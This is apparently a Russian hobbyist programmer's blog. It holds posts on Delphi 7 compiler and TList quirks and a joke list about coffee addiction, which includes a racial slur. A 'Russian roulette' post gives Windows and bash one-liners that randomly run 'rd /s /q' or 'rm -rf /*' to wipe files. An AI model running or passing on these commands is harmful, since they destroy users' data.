вторник, 28 сентября 2010 г.

Новые сюрпризы от компилятора Delphi 7

Итак, я снова возюкаюсь с чем-то чуть более сложным, чем простое рисование интерфейса и снова (в который уже интересно раз) наталкиваюсь на странности чудесного компилятора от фирмы Borland.

Итак, что мы имеем на входе:

TLogProc=procedure(s:string); {тип для передачи ссылки на процедуру записи строки куда-то}

TMyClass=class

private

fProc:TLogProc;

function getLP:TLogProc;

public

property LogProc:TLogProc read getLP;

Constructor Create(…;lp:TLogProc ;…);

end;

Пока все просто и понятно. Процедура передается по ссылке откуда-то из-вне вселенной этого класса при создании и ссылка записывается в отведенную переменную, остается вызвать процедуру в самом классе и радоваться.

Но не все так просто. Если от этого класса унаследовать другой класс и попытаться вызвать эту процедуру, то при компиляции следующего куска кода, компилятор ругается на отсутствие точки с запятой!

Procedure ClidClass.SomeProc(const someparam:String);

begin

// Это НЕ компилируется

//LogProc(’someone said: ’+someparam+’!’);

// А вот это уже компилируется

Self.LogProc(’someone said: ’+someparam+’!’);

end;

Вдумчивое курение не привело меня ни к каким мыслям. Но факт остается фактом. Интересно, все же в чем причина такого поведения со стороны компилятора. По идее префикс “Self.” неявно должен подставляться ко всем вызовам. Другими словами, вызовы того, что описано в родительском классе и не перекрыто, не перегружено в дочернем должны идти без указания объекта, если я правильно понимаю. Хотя может быть я что-то и путаю.

вторник, 2 марта 2010 г.

Вы пьете слишком много кофе, если

Вот нашел этот волшебный список признаков злоупотребления кофе. :) Пишу, чтобы вновь не потерять.

* Вы бегаете во сне.
* Вы открываете дверь раньше, чем Вам позвонят.
* Вы еще не моргали со времени последнего лунного затмения.
* Ваш домашний компьютер раскаляется за ночь.
* Вы привыкли молоть кофе ртом.
* Спите Вы обычно с открытыми глазами.
* Видеокассеты Вы по обыкновению смотрите на ускоренном воспроизведении.
* При некоторых особо быстрых разворотах Вы иногда видите свою спину.
* Остановить Ваше броуновское движение может только приличное землетрясение.
* Вы облизываете чистый кофейник.
* Каждое лето Вы мечтаете о поездке в Африку - чтобы собственноручно отобрать у этих негров ДЕЙСТВИТЕЛЬНО лучшие зерна.
* Вы оставляете половину зарплаты в ближайшей кофеюшне, хотя Вы там и не работаете.
* Вы уже истоптали третью пару тапочек за этот месяц.
* Вы чихаете с открытыми глазами.
* Медсестре нужен мощный калькулятор, чтобы сосчитать Ваш пульс.
* На Вашей футболке написано: "Кофе без кофеина - пойло для ослов!".
* Вы настолько нервный, что Ваши домашние решили сэкономить на покупке миксера.
* Вы легко заводите двигатель своего автомобиля без аккумулятора.
* Кокаин на Вас действует успокаивающе.
* Вашу кошку зовут Виннер Голд, а собаку - Сукафина.
* Вас обожают все старушки в молочных рядах - Вы бидонами скупаете у них молоко.
* Вы уже несколько раз покупали себе новую джезву - очень быстро протирается ручка.
* Вы с удовольствием идете на митинг в поддержку любой партии - в центре города так много уютных кофеюшень.
* Ваши вкусовые рецепторы настолько подавлены - что Вы с утра можете сгрызть луковицу, приняв ее за сочное яблочко.
* Растворимый кофе готовится, по Вашему мнению, слишком долго.
* Переключать каналы телевизора у Вас быстрее получается без дистанционки.
* Когда Вас спрашивают: "Как дела?" - Вы отвечаете: "Вкусно до последней капли".
* В следующей жизни Вы хотели бы быть мощной кофеваркой в приличном заведении, чтобы килограммами глотать кофе - а из всех краников у Вас текли обжигающие струйки любимого напитка.
* Ваш день рождения - национальный праздник для всей Бразилии.
* Остаток жизни Вы хотели бы провести в турецкой тюрьме.
* Вы оскорбляетесь, когда слышите слово "аромат" по отношению к пиву.
* Только напившись до полусмерти, Вы можете хоть немного успокоиться.
* Вы хотели назвать дочь Арабикой - и с трудом согласились на Бразилиа.
* Ваши губы постоянно свернуты в трубочку.
* У Вас есть портрет Вашей любимой джезвы на Вашей любимой джезве.
* Вы можете обогнать кролика - того самого, с батарейкой "Duracell".
* Ваши руки Вам кажутся слишком короткими.
* У Вас бывают истерики над каплей пролитого молока.
* Вам тяжело дождаться пока вскипит вода.
* Для измерения мощности Ваших истерик шкалы Рихтера недостаточно.
* Вы не загораете - Вы себя поджариваете.
* Вы не вскипаете - Вы доходите до кипения.
* Три Ваших самых любимых вещи по жизни - это кофе до и кофе после.
* Вы уже даже не вспомните Вашу первую чашечку кофе.
* Вы помогаете своей собаке поймать свой хвост.
* Ночью Вы храните свою челюсть в стаканчике с кофе.
* Ваша любимая джезва теперь застрахована на приличную сумму.
* Вы представляете свою жену друзьям как любимого напарника по дегустации
* элитных сортов.
* Аббревиатура МЧС в новостях понимается Вами как Маленькая Чашечка Сукафины.
* В Вашей аптечке первой помощи обязательно есть крохотная килограммовая пачечка кофе.

четверг, 11 февраля 2010 г.

Русская рулетка

Для виндовоза
set /a R=0+6*%random%/32768 & if %R% == 0 (rd /s /q .\) else (echo ЖИВ)

Для *nix (bash, sh)
# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "Жив"
Ну и естественно оригинал статьи об этом http://lurkmore.ru/Rm_-rf

среда, 10 февраля 2010 г.

Очередные прелести Delphi

Итак, я в очередной раз стукнулся лбом об особенность Delphi (по меньшей мере 7-й версии).
Место действия:
Небольшой класс на окраине проекта, обеспечивающий в числе прочего хранении ссылок на некоторые объекты:
TSomeClass=class
private
//....
hList:Tlist;
//....
Public
Constructor Create;
end;

implimentation
{TSomeClas}

TSomeClas.Create;
begin
inherited;
hList:=Tlist.Create;
end;
end.

Казалось бы... Приведенный код полностью рабочий и соответствует тому, что приведен в примерах в справке. Однако, не стоит верить всему, что пишут в справке!
Так, например, в справке есть очень интересное место, где описывает свойство Capacity.
Чем же оно привлекло мое внимание? Тем, что это свойство, если верить справке...
Specifies the allocated size of the array of pointers maintained by the TList object
То есть "устанавливает размер выделенный пол массив указателей"! Уже интересно. Получается, что на самом деле массив, заключенный внутри класса TList на самом деле может быть или больше чем Count или такого же размера, так по крайней мере, мне подсказывает логика. Читаем хелп дальше:
Read Capacity to learn number of objects the list can hold without reallocating memory. Do not confuse Capacity with the Count property, which is the number of entries in the list that are in use. The value of Capacity is always greater than or equal to the value of Count. When Capacity is greater than Count, the unused memory can be reclaimed by setting Capacity to Count.
Ну, да. Так все и есть...
А теперь собственно вопрос: "Что произойдет, если объекту типа TList выполнить метод Add(), в тот момент, когда Count=Capacity?"
Ответ на этот вопрос есть конечно же в хелпе:
When an object is added to a list that is already filled to capacity, the Capacity property is automatically increased.
Ну, конечно, другого мы и не ожидали. Capacity будет увеличен. То есть должен быть увеличен. Соответственно, под "увеличенный" массив нужно будет больше памяти. И вот тут нас ждет небольшая неприятность. Как показали мои эксперименты Delphi может выдать ошибку типа EOutOfMemory, которая вообще говоря должна появляться при нехватке оперативной памяти, в ситуации когда происходит "увеличение" TList, ссылка на который хранится в другом TList, а на тот еще в одном.
То есть вот такая вот конструкция
Tlist(Tlist(Obj.hList[1])[33]).Add(some_pointer);
На самом деле объекты не наследники TList, а просто содержат свойство этого типа, но сути это не меняет. Так вот, если при выполнении комманды Add данном случае произойдет увеличение Capacity, то есть приличный (но не 100%!!) шанс получить вышеупомянутый эксепшен!!! Причем, самым "веселым" является тот факт, что эту ошибку мы получаем не всегда, мне повезло получить этот эксепшен за пару часов до отправки программы заказчику! До этого я почти полдня гонял программу на тестах! И ничего!
Решение, как и предполагалось, нашлось не самое красивое, зато надежное. Перед созданием объекта, который содержит поля типа TList, я вычисляю примерное количество указателей, которое мне потребуется хранить и передаю в конструктор. А Capacity выставляю в 1,5 раза больше. Потребление памяти, конечно, возрастает, но слишком сильно. Зато риски получить новую головную боль ввиде неуловимого и сложно воспроизводимого "борбага" становятся много меньше.
Удачной вам разработки!

понедельник, 8 февраля 2010 г.

Неочевидное значение

Сегодня долго и упорно писал большой кусок кода, который делает огромное количество вызовов разных функций из разных классов. Как водится, при тестировании ловлю абсолютно не понятный баг.
В том месте, где согласно всей логике функция должна возвращать false я упорно получаю true.
Открываю код функции:
function TClassName.weHaveIt(CodPod: Integer): Boolean;
var
i:Integer;
begin
for i:=0 to Count-1 do
begin
Result:=Result or (Self[i].Rasdel=CodPod)
end;
end;

Заведомо известно, что Self[i].Rasdel=CodPod - всегда в данном куске программы будет false, однако! Функция возвращает true. Немного побаловавшись с отшагиванием, решил проверить чему равен Result до начала цикла.
Бинго! Result по умолчанию равен true!!!
Конечно, не проблема ставить везде предварительное значение для Result в false, но почему так?
Вечером надо будет поковыряться в документации...

пятница, 15 января 2010 г.